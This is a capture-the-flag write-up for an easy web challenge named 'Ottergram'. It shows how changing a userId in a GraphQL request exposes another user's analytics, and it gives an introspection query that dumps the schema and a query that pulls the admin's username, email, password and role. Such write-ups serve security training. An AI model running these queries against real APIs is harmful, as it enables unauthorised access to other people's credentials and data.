# Ottergram

Level: Easy\
Points: 10\
Type: Daily Challenge

After sign-up / login flow. There is a POST request to /graphql which fetch the analytics.

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2F0v8NCrJiDZSFJJxDVIkZ%2Fimage.png?alt=media&#x26;token=3898a7e9-3255-4530-b740-43ca28b8d5a9" alt=""><figcaption></figcaption></figure>

Viewing it in proper format

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FYj8A4UtlYJpD8FJa0QdL%2Fimage.png?alt=media&#x26;token=bf0c08dc-e9a0-4f97-ab8d-0c0f2aca3ba3" alt=""><figcaption></figcaption></figure>

We can edit the userId field and get analytics of another user.\
admin's userid is 2

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2F2cCn4VihALaalMnBpBA8%2Fimage.png?alt=media&#x26;token=e6282c3f-f33a-4a45-98c8-17971c4fa18f" alt=""><figcaption></figcaption></figure>

Dumping the ENTIRE Schema

```
query {
  __schema {
    types {
      name
      fields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}
```

explaination

```
query
└── __schema              ← the entire schema of the API
    └── types             ← list of ALL types defined
        ├── name          ← name of the type (e.g. "User", "Analytics")
        └── fields        ← list of fields on that type
            ├── name      ← field name (e.g. "username", "password")
            └── type      ← what data type this field returns
                ├── name  ← type name (e.g. "String", "Int")
                └── kind  ← category (SCALAR, OBJECT, NON_NULL, LIST)
```

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FlzzVdMAyGKBW6NE5ev8U%2Fimage.png?alt=media&#x26;token=b92dcdbd-5785-4c8c-bb03-43ed300ed93c" alt=""><figcaption></figcaption></figure>

### Key Findings

There are **2 queries** and the `User` type has juicy fields:

| Query               | Returns                                   |
| ------------------- | ----------------------------------------- |
| `analytics(userId)` | Analytics                                 |
| `user(???)`         | **User** with `email`, `password`, `role` |

Lets get the username and password data.

```
query {
  user(id: 2) {
    id
    username
    email
    password
    role
  }
}
```

<figure><img src="https://559802299-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8C3FiojCIEtxH7nox2Do%2Fuploads%2FKOpmFvzguj806SfJgWzo%2Fimage.png?alt=media&#x26;token=b12b5ebe-3d48-4c89-9d68-e88cbab6e238" alt=""><figcaption></figcaption></figure>
